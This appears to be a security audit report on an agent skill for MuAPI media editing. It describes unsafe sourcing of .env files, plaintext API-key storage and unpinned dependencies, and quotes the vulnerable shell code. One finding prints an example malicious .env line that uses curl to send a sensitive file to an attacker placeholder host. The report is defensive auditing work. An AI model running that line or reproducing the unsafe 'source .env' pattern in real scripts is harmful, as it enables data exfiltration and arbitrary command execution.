Back to skill

Security audit

muapi-media-editing

Security checks for vulnerabilities and agentic risk

Overview

The skill does the advertised MuAPI media editing work, but its helper scripts unsafely execute local .env files and store API keys in plaintext in the current directory.

Install only if you are comfortable auditing and fixing the shell scripts first. Prefer exporting MUAPI_KEY in your shell, do not run these scripts from untrusted project directories, avoid --add-key, and assume any local media file arguments will be uploaded to muapi.ai.

Vulnerability Patterns
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
enhance-image.sh:34
Finding

Arbitrary Shell Command Execution Through Unsafe .env Loading

Content
View full analysis
/dev/null || true; fi ``` ### Technical Analysis The scripts load `.env` using the Bash `source` built-in. This causes the file to be interpreted as executable shell code rather than parsed as a data-only environment-variable file. An attacker who can create or modify `.env` in the script's current working directory can include arbitrary shell syntax, including command substitutions, function definitions, redirections, and direct command invocations. The commands execute immediately when any affected script starts. The scripts use the process's current working directory rather than a trusted, validated configuration path. Consequently, running a script from an attacker-controlled or shared directory may cause that directory's `.env` file to be executed. Example malicious `.env` content: ```bash MUAPI_KEY=dummy curl https://attacker.example/collect --data-binary @example-sensitive-file ``` The vulnerability does not require manipulation of the MuAPI service. It occurs locally before the scripts validate the operation or media arguments. ### Attack Path 1. An attacker obtains permission to create or alter `.env` in a directory from which the victim may run one of the affected scripts. 2. The attacker writes arbitrary Bash commands into that file. 3. The victim runs `enhance-image.sh`, `lipsync.sh`, or `video-effects.sh` with that directory as the current working directory. 4. The script evaluates `.env` through `source`. 5. The injected commands execute with the same operating-system privileges and environment access as the victim. ### Impact Assessment Successful exploitation provides arbitrary command execution under the invo ...[truncated 491 chars]
Remediation
View remediation
` record. - Reject newlines, command substitutions, shell metacharacters, and duplicate key definitions. - Resolve the configuration file relative to a trusted application directory rather than the caller's current working directory. - Verify that the file is a regular file, is owned by the expected user, and is not group- or world-writable. - Do not suppress parser or permission errors, because silent failures make tampering harder to detect. A safe approach is to read a single line without executing it: ```bash KEY_FILE="${XDG_CONFIG_HOME:-$HOME/.config}/muapi/key" if [ -f "$KEY_FILE" ]; then IFS= read -r MUAPI_KEY < "$KEY_FILE" export MUAPI_KEY fi ``` The implementation should additionally reject empty values and values containing newline or carriage-return characters. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
enhance-image.sh:20
Finding

API Credential Stored in an Unprotected Plaintext Configuration File

Content
View full analysis
&2; read -r KEY_VALUE; fi if [ -n "$KEY_VALUE" ]; then grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true mv .env.tmp .env 2>/dev/null || true echo "MUAPI_KEY=$KEY_VALUE" >> .env echo "MUAPI_KEY saved to .env" >&2 fi exit 0 fi done if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` Equivalent credential-writing logic appears in `lipsync.sh` and `video-effects.sh`. ### Technical Analysis The `--add-key` option writes the MuAPI credential directly to `.env` in plaintext. The scripts do not set a restrictive `umask`, explicitly create the file with mode `0600`, verify ownership, or warn if the destination is a symbolic link. The resulting permissions depend on the caller's existing `umask` and any pre-existing file permissions. In shared systems, containers, workspaces, or CI environments, another local account or process may therefore be able to read the API key. The temporary `.env.tmp` file is also created using a predictable name in the current working directory. The script suppresses errors around its creation and replacement, and it does not validate whether `.env` or `.env.tmp` is a regular file. Additionally, `KEY_VALUE` is not validated for embedded newline characters. Because `.env` is subsequently sourced as Bash code, a crafted key argument containing a newline can persist an additional shell command that executes during a later invocation. ### Attack P ...[truncated 1240 chars]
Remediation
View remediation

T08 · Insecure Dependencies

Note
Location
edit-image.sh:37
Finding

Execution of Unpinned and Unaudited External Components

Content
View full analysis
&2; exit 1; fi # Auto-upload local file if provided if [ -n "$IMAGE_FILE" ]; then echo "Uploading $(basename "$IMAGE_FILE")..." >&2 IMAGE_URL=$(bash "$(dirname "$0")/../media/upload.sh" --file "$IMAGE_FILE") fi if [ -z "$IMAGE_URL" ]; then echo "Error: --image-url or --file is required" >&2; exit 1; fi ARGS=(--model "$MODEL" --image "$IMAGE_URL" --aspect-ratio "$ASPECT_RATIO" --num-images "$NUM_IMAGES") [ "$JSON_ONLY" = true ] && ARGS+=(--output-json) [ -n "$JQ_EXPR" ] && ARGS+=(--jq "$JQ_EXPR") [ "$ASYNC" = true ] && ARGS+=(--no-wait) || ARGS+=(--wait) muapi image edit "$PROMPT" "${ARGS[@]}" ``` The project documentation lists the following requirements: ```markdown ## Requirements - `MUAPI_KEY` environment variable (set via `core/platform/setup.sh`) - `curl`, `jq`, `python3` ``` It does not identify or pin the `muapi` executable, and the referenced `../media/upload.sh` file is not included in the audited project. ### Technical Analysis `edit-image.sh` directly executes two components whose implementations and provenance cannot be verified from the supplied artifact: 1. A sibling script at `../media/upload.sh`. 2. A PATH-resolved executable named `muapi`. The sibling upload script exists outside the audited project directory. The `muapi` command is not included in the declared requirements, and no version, checksum, installation source, or trusted absolute path is specified. Bash resolves `muapi` according to the caller's `PATH`. If an attacker controls an earlier PATH directory, a malicious executable named `muapi` can be selected. Similarly, if an attacker can replace or create the sibling upload script, it will be executed explicitly through Bash when local-file upload is request ...[truncated 1782 chars]
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Findings (36)

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding

The code substantially aligns with the image-editing portion of the description: it uses muapi.ai and implements several declared image features like upscaling, background removal, face swap, and enhancements. However, the declared purpose explicitly includes images and videos, lipsync, video effects, and broader AI editing capabilities, while this code chunk only implements a subset of image operations and no video functionality at all. This is a description-behavior mismatch because the declared description overstates capabilities present in the supplied code chunk.

Content

No source excerpt is available for this finding.

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

The code manipulates a local .env file as part of storing the API key, which is credential handling that can expose secrets if the file is readable by other users or later committed accidentally. In this skill context, users are likely to run the script in project directories, making accidental disclosure plausible.

Content

Scanner excerpt · enhance-image.sh (reported line 29)May include surrounding context.

sh
if [[ -n "$1" && ! "$1" =~ ^-- ]]; then KEY_VALUE="$1"; fi
        if [ -z "$KEY_VALUE" ]; then echo "Enter your muapi.ai API key:" >&2; read -r KEY_VALUE; fi
        if [ -n "$KEY_VALUE" ]; then
            grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

This line continues the insecure credential persistence flow by moving temporary data into .env during API key storage. The risk is not code execution but insecure secret-at-rest handling that can leak the key through file access or operational mistakes.

Content

Scanner excerpt · enhance-image.sh (reported line 30)May include surrounding context.

sh
if [ -z "$KEY_VALUE" ]; then echo "Enter your muapi.ai API key:" >&2; read -r KEY_VALUE; fi
        if [ -n "$KEY_VALUE" ]; then
            grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2
        fi

Credential Access

High
Category
Privilege Escalation
Confidence
98% confidence
Finding

The script writes MUAPI_KEY directly into .env in plaintext. Plaintext credential storage is dangerous because the API key can be stolen from disk, included in backups, or leaked through repository sync and then abused to access the third-party account or consume paid API quota.

Content

Scanner excerpt · enhance-image.sh (reported line 31)May include surrounding context.

sh
if [ -n "$KEY_VALUE" ]; then
            grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2
        fi
        exit 0

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · enhance-image.sh (reported line 38)May include surrounding context.

sh
if [[ -n "$1" && ! "$1" =~ ^-- ]]; then KEY_VALUE="$1"; fi
        if [ -z "$KEY_VALUE" ]; then echo "Enter your muapi.ai API key:" >&2; read -r KEY_VALUE; fi
        if [ -n "$KEY_VALUE" ]; then
            grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · lipsync.sh (reported line 26)May include surrounding context.

sh
if [[ -n "$1" && ! "$1" =~ ^-- ]]; then KEY_VALUE="$1"; fi
        if [ -z "$KEY_VALUE" ]; then echo "Enter your muapi.ai API key:" >&2; read -r KEY_VALUE; fi
        if [ -n "$KEY_VALUE" ]; then
            grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · lipsync.sh (reported line 27)May include surrounding context.

sh
if [[ -n "$1" && ! "$1" =~ ^-- ]]; then KEY_VALUE="$1"; fi
        if [ -z "$KEY_VALUE" ]; then echo "Enter your muapi.ai API key:" >&2; read -r KEY_VALUE; fi
        if [ -n "$KEY_VALUE" ]; then
            grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2

Credential Access

High
Category
Privilege Escalation
Confidence
94% confidence
Finding

This line writes the API key in plaintext to .env, creating a durable local secret that may be exposed through weak file permissions, backups, shell working directories, or accidental repository commits. While the key belongs to the user, leakage could enable unauthorized use of their paid API account.

Content

Scanner excerpt · lipsync.sh (reported line 28)May include surrounding context.

sh
if [ -n "$KEY_VALUE" ]; then
            grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2
        fi
        exit 0

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · enhance-image.sh (reported line 32)May include surrounding context.

sh
grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2
        fi
        exit 0
    fi

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · enhance-image.sh (reported line 38)May include surrounding context.

sh
grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2
        fi
        exit 0
    fi

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · lipsync.sh (reported line 29)May include surrounding context.

sh
grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2
        fi
        exit 0
    fi

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · video-effects.sh (reported line 35)May include surrounding context.

sh
grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2
        fi
        exit 0
    fi

Credential Access

High
Category
Privilege Escalation
Confidence
91% confidence
Finding

The script loads .env from the current directory using source, which gives any content in that file code execution privileges. In a shared or untrusted project directory, a malicious .env could run arbitrary commands under the user's account when invoking the skill.

Content

Scanner excerpt · lipsync.sh (reported line 35)May include surrounding context.

sh
fi
done

if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

while [[ $# -gt 0 ]]; do
    case $1 in

Credential Access

High
Category
Privilege Escalation
Confidence
91% confidence
Finding

The script loads .env from the current directory using source, which gives any content in that file code execution privileges. In a shared or untrusted project directory, a malicious .env could run arbitrary commands under the user's account when invoking the skill.

Content

Scanner excerpt · lipsync.sh (reported line 35)May include surrounding context.

sh
fi
done

if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

while [[ $# -gt 0 ]]; do
    case $1 in

Credential Access

High
Category
Privilege Escalation
Confidence
88% confidence
Finding

This line manipulates a local .env file as part of a credential persistence workflow, contributing to storage of the API key in plaintext. While not credential theft, it expands the attack surface by making the secret recoverable from the filesystem.

Content

Scanner excerpt · video-effects.sh (reported line 32)May include surrounding context.

sh
if [[ -n "$1" && ! "$1" =~ ^-- ]]; then KEY_VALUE="$1"; fi
        if [ -z "$KEY_VALUE" ]; then echo "Enter your muapi.ai API key:" >&2; read -r KEY_VALUE; fi
        if [ -n "$KEY_VALUE" ]; then
            grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2

Credential Access

High
Category
Privilege Escalation
Confidence
88% confidence
Finding

Moving the temporary .env file into place is part of the same insecure local secret storage pattern. The risk is accidental credential exposure rather than active credential harvesting, but it is still a real weakness if the directory is accessible or synced.

Content

Scanner excerpt · video-effects.sh (reported line 33)May include surrounding context.

sh
if [ -z "$KEY_VALUE" ]; then echo "Enter your muapi.ai API key:" >&2; read -r KEY_VALUE; fi
        if [ -n "$KEY_VALUE" ]; then
            grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2
        fi

Credential Access

High
Category
Privilege Escalation
Confidence
96% confidence
Finding

This line writes MUAPI_KEY in plaintext to .env, making the API credential directly readable by anyone or anything with access to the file. Exposure of the key could allow unauthorized API consumption, quota exhaustion, or billing abuse.

Content

Scanner excerpt · video-effects.sh (reported line 34)May include surrounding context.

sh
if [ -n "$KEY_VALUE" ]; then
            grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2
        fi
        exit 0

Credential Access

High
Category
Privilege Escalation
Confidence
93% confidence
Finding

This finding points to the same .env loading behavior: credentials are not just read, the file is executed as shell script. In the context of a command-line media tool likely run inside project directories, that makes a planted .env especially dangerous because normal use can trigger code execution without obvious warning.

Content

Scanner excerpt · video-effects.sh (reported line 41)May include surrounding context.

sh
fi
done

if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

while [[ $# -gt 0 ]]; do
    case $1 in

Credential Access

High
Category
Privilege Escalation
Confidence
93% confidence
Finding

This finding points to the same .env loading behavior: credentials are not just read, the file is executed as shell script. In the context of a command-line media tool likely run inside project directories, that makes a planted .env especially dangerous because normal use can trigger code execution without obvious warning.

Content

Scanner excerpt · video-effects.sh (reported line 41)May include surrounding context.

sh
fi
done

if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

while [[ $# -gt 0 ]]; do
    case $1 in

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
90% confidence
Finding

The skill advertises shell-based scripts in SKILL.md but does not declare any explicit tool scope or allowed-tools boundary. That omission weakens least-privilege controls and makes it easier for a host agent to invoke shell capabilities more broadly than users or reviewers would expect.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

The skill explicitly promotes identity- and privacy-sensitive operations such as face swap and lipsync without any warning about consent, impersonation risk, or handling of biometric media. In this context, the omission increases the chance of misuse for non-consensual deepfakes, reputational harm, or privacy violations, especially because the skill is purpose-built for media manipulation.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

When a local file is supplied, the script automatically uploads it to an external service and only prints a generic 'Uploading ...' message. This can cause unintended disclosure of sensitive images because users may not realize that using --file transmits data off-host to muapi.ai, especially in automation or agent contexts where local files may contain private content.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The script persists the API key to a local .env file with no warning, permission hardening, or guidance about secure storage. This increases the risk of accidental credential exposure through world-readable files, source-control commits, backups, or shared working directories.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

When local files are provided, the script silently uploads them to a remote third-party API. For media-editing workflows this is expected behavior, but the lack of an explicit privacy or data-transmission warning can cause users to unknowingly send sensitive images such as personal photos, IDs, or proprietary media off-device.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
89% confidence
Finding

The manifest describes a media editing skill for images and videos via muapi.ai. Lines L020-L029 implement a separate capability to collect and store credentials locally in .env, which goes beyond the core editing/lipsync function and is not an obvious requirement of the stated purpose itself.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.